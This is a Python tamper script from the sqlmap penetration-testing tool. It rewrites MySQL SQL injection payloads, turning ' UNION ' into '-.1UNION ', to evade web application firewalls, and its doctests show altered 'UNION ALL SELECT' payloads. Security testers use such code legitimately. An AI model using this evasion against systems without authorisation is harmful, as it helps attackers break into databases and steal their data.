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37 lines
955 B
Python
37 lines
955 B
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces instances of UNION with -.1UNION
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Requirement:
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* MySQL
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Notes:
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* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
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>>> tamper('1 UNION ALL SELECT')
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'1-.1UNION ALL SELECT'
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>>> tamper('1" UNION ALL SELECT')
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'1"-.1UNION ALL SELECT'
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"""
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return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload
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